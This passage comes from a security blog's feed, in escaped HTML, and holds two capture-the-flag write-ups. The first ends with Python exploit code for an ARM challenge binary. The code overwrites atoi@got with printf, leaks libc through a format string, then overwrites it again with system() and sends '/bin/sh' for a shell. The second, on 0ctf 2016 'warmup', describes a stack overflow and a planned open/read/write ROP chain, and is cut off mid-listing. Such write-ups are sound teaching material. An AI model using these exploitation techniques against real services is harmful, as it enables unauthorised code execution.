&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;update_key&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;malloc(key)&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;select_menu_entry&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    key = &amp;quot;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    key+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\xbb&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4              &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# atoi@got will be overwritten with this value
&lt;&#x2F;span&gt;&lt;span&gt;    key+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;B&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4 &lt;&#x2F;span&gt;&lt;span&gt;+ &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;C&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4 &lt;&#x2F;span&gt;&lt;span&gt;+ &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;D&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;enter the new 16-bit key:&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(key)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;the key is updated!&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;leave&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Leaving - and triggering atoi@got&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;select_menu_entry&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which produces the following result in &lt;code&gt;gef&lt;&#x2F;code&gt;:
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;UdmAg6N.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;UdmAg6N.png&quot;

    

    
    title=&quot;control-pc&quot;
    alt=&quot;control-pc&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bingo! We control the execution flow! Good! But now where do we go?&lt;&#x2F;p&gt;
&lt;p&gt;The binary is dynamically linked, and does not contains any gadget that would
allow us to call directly &lt;code&gt;execve&lt;&#x2F;code&gt; so we need a leak from the libc.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;using-function-indirection-to-leak-memory-using-printf&quot;&gt;Using function indirection to leak memory using printf&lt;&#x2F;h4&gt;
&lt;p&gt;I’m not sure if this is the best way to do, but I like this approach: the idea
is that, when you can overwrite the GOT, point an “interesting” function of the
control flow to &lt;code&gt;printf@plt&lt;&#x2F;code&gt;. This way, if you can control the parameter of this
call, you can use a regular format string attack to read&#x2F;write everywhere!!&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;read_int()&lt;&#x2F;code&gt; (at 0x875c) offers a perfect exploitation case:
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;81p3djs.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;81p3djs.png&quot;

    

    
    title=&quot;read-int-ida&quot;
    alt=&quot;read-int-ida&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;fgets&lt;&#x2F;code&gt; at 0x878c allows us to provide 32 bytes in the stack, which will be
given to &lt;code&gt;atoi&lt;&#x2F;code&gt; as a parameter. So if we overwrite &lt;code&gt;atoi@got&lt;&#x2F;code&gt; with the address
of &lt;code&gt;printf@plt&lt;&#x2F;code&gt;, we have a good case for a format string attack.&lt;&#x2F;p&gt;
&lt;p&gt;So using the technique above, we can overwrite &lt;code&gt;atoi@got&lt;&#x2F;code&gt; with the address of
&lt;code&gt;printf&lt;&#x2F;code&gt; in the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Dynamic_linker&quot;&gt;PLT&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.plt:00008594 &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; printf(const char *format, ...)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.plt:00008594&lt;&#x2F;span&gt;&lt;span&gt; printf                                  ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CODE&lt;&#x2F;span&gt;&lt;span&gt; XREF: print_banner+58
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.plt:00008594                                         &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;update_key+38&lt;&#x2F;span&gt;&lt;span&gt; ...
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.plt:00008594&lt;&#x2F;span&gt;&lt;span&gt;                 ADR     R12, 0x859C
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.plt:00008598&lt;&#x2F;span&gt;&lt;span&gt;                 ADD     R12, R12, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#0x8000
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.plt:0000859C&lt;&#x2F;span&gt;&lt;span&gt;                 LDR     PC, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;R12,#(printf_ptr - 0x1059C)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;! ; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;__imp_printf
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;update_key&lt;&#x2F;span&gt;&lt;span&gt;(s, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PRINTF_IMPORT&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;atoi@got: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ATOI_GOT&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PRINTF_IMPORT&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So now every time the control flow will hit the &lt;code&gt;atoi()&lt;&#x2F;code&gt; function, the &lt;code&gt;printf()&lt;&#x2F;code&gt;
stub will be executed, and we will receive the argument from the socket! So
every time the banner will prompt for a choice (1-4), the buffer we send will be
the argument to &lt;code&gt;printf()&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;triggering-the-exploit&quot;&gt;Triggering the exploit&lt;&#x2F;h4&gt;
&lt;p&gt;By leaking the memory, we find that an address to the libc can be found (at
least) at the offset 21:
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Q5UpCbc.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Q5UpCbc.png&quot;

    

    
    title=&quot;libc-leak&quot;
    alt=&quot;libc-leak&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;On the C library I tested, the &lt;code&gt;system()&lt;&#x2F;code&gt; function was located at an offset of
0x37524 from the base. So now, we know the address of &lt;code&gt;system()&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;data&amp;gt; %21$#.8x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;        leak = s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;read_until&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;data&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; in leak:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    libc_leak = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(leak.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;strip&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;split&lt;&#x2F;span&gt;&lt;span&gt;()[-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    libc_base = libc_leak - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x16d24
&lt;&#x2F;span&gt;&lt;span&gt;    libc_system = libc_base + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x37524
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Got libc_leak: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % libc_leak)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Got libc_base: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % libc_base)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Got libc_system: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % libc_system)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And to complete the exploitation, all we must do is overwrite again &lt;code&gt;atoi@got&lt;&#x2F;code&gt;
with the address of &lt;code&gt;system()&lt;&#x2F;code&gt;, and when &lt;code&gt;fgets()&lt;&#x2F;code&gt; will be triggered, simply
enter the command we want to execute, in this case &lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt; will do:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;update_key&lt;&#x2F;span&gt;&lt;span&gt;(s, libc_system, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ok&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;atoi@got: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%#x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ATOI_GOT&lt;&#x2F;span&gt;&lt;span&gt;, libc_system))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;+&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The exploit is complete, we can run it:
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Ei1aeLb.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Ei1aeLb.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And as always, go &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;187f7dd80cb5bff20842&quot;&gt;here&lt;&#x2F;a&gt; for
the full exploit.&lt;&#x2F;p&gt;
&lt;p&gt;Peace out ✌&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>0ctf 2016 - Warmup write-up</title>
        <published>2016-03-14T00:00:00+00:00</published>
        <updated>2016-03-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-03-14-0ctf-2016-warmup-write-up/"/>
        <id>https://blahcat.github.io/2016-03-14-0ctf-2016-warmup-write-up/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-03-14-0ctf-2016-warmup-write-up/">&lt;p&gt;I participated to &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ctftime.org&#x2F;team&#x2F;4419&#x2F;&quot;&gt;0ctf&lt;&#x2F;a&gt; but only had time to play for
the reversing challenge &lt;code&gt;trace&lt;&#x2F;code&gt; (write-up coming up soon) during the competition
time.&lt;&#x2F;p&gt;
&lt;p&gt;I did this challenge only for fun after the CTF was over so I do not know the
flag, and since I found it interesting, I decided to write a quick write-up.&lt;&#x2F;p&gt;
&lt;p&gt;And kudos to all teams who solved it !&lt;&#x2F;p&gt;
&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  !file .&#x2F;warmup
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;warmup:&lt;&#x2F;span&gt;&lt;span&gt; ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; statically linked, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  checksec warmup
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; checksec for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;warmup&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary:&lt;&#x2F;span&gt;&lt;span&gt;                                           No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX&lt;&#x2F;span&gt;&lt;span&gt; Support:                                       Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE&lt;&#x2F;span&gt;&lt;span&gt; Support:                                      No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                            No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;RUNPATH:&lt;&#x2F;span&gt;&lt;span&gt;                                          No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                    No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Full&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                       No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Pretty stripped down file, very small (which seemed weird for a statically
linked file). Stack canary and PIE are not on, but NX is.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;The binary is really small, does not do much either, so the vulnerability is
quite easy to find and trigger.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;jpU2YsD.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;jpU2YsD.png&quot;

    

    
    title=&quot;vuln&quot;
    alt=&quot;vuln&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;At 0x08048174, We have a &lt;code&gt;read(socket, buffer, 52)&lt;&#x2F;code&gt; where buffer can only
contain 32 bytes, so we have a classic stack overflow. A part of the challenge
is however due to the fact that our controlled part is quite limited
(i.e. 52-32=20 bytes=5 DWORD).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;p&gt;In addition to not having a lot of gadgets (the source was written in pure
assembly), no libc, etc. 0ctf organizers added that&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;notice: This service is protected by a sandbox, you can only read the flag at &#x2F;home&#x2F;warmup&#x2F;flag
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Meaning: we cannot simply write &lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt; somewhere in memory, set &lt;code&gt;eax&lt;&#x2F;code&gt; to 11
and simply use a gadget to set &lt;code&gt;ebx&lt;&#x2F;code&gt;, &lt;code&gt;ecx&lt;&#x2F;code&gt;, &lt;code&gt;edx&lt;&#x2F;code&gt; to value loaded from the
stack. We have to go all the way to open, read, write back the value of the flag
located in &lt;code&gt;&#x2F;home&#x2F;warmup&#x2F;flag&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This lead to a much funkier way to exploit.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;objective&quot;&gt;Objective&lt;&#x2F;h4&gt;
&lt;p&gt;The objective here seems pretty straight forward. We need to :&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Write &lt;code&gt;&#x2F;tmp&#x2F;flag&lt;&#x2F;code&gt; in a predictable and writable location ( anywhere in the
&lt;code&gt;.data&lt;&#x2F;code&gt; section will do just fine).&lt;&#x2F;li&gt;
&lt;li&gt;Forge a &lt;code&gt;sys_open(flag, RWX)&lt;&#x2F;code&gt; gadget&lt;&#x2F;li&gt;
&lt;li&gt;Forge a &lt;code&gt;sys_read(fd, another_writeable_location, 50)&lt;&#x2F;code&gt; gadget&lt;&#x2F;li&gt;
&lt;li&gt;Forge a &lt;code&gt;sys_write(socket, another_writeable_location, 50)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;And it is done! In theory it seems pretty easy, but it took me a few hours
(never underestimate a challenge ☺).&lt;&#x2F;p&gt;
&lt;h4 id=&quot;interesting-gadgets&quot;&gt;Interesting gadgets&lt;&#x2F;h4&gt;
&lt;p&gt;What the binary provides us with are gadgets to read and write:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;--read
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:0804811D&lt;&#x2F;span&gt;&lt;span&gt;                 mov     eax, 3
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:08048122&lt;&#x2F;span&gt;&lt;span&gt;                 mov     ebx, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;esp+fd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]   &lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fd
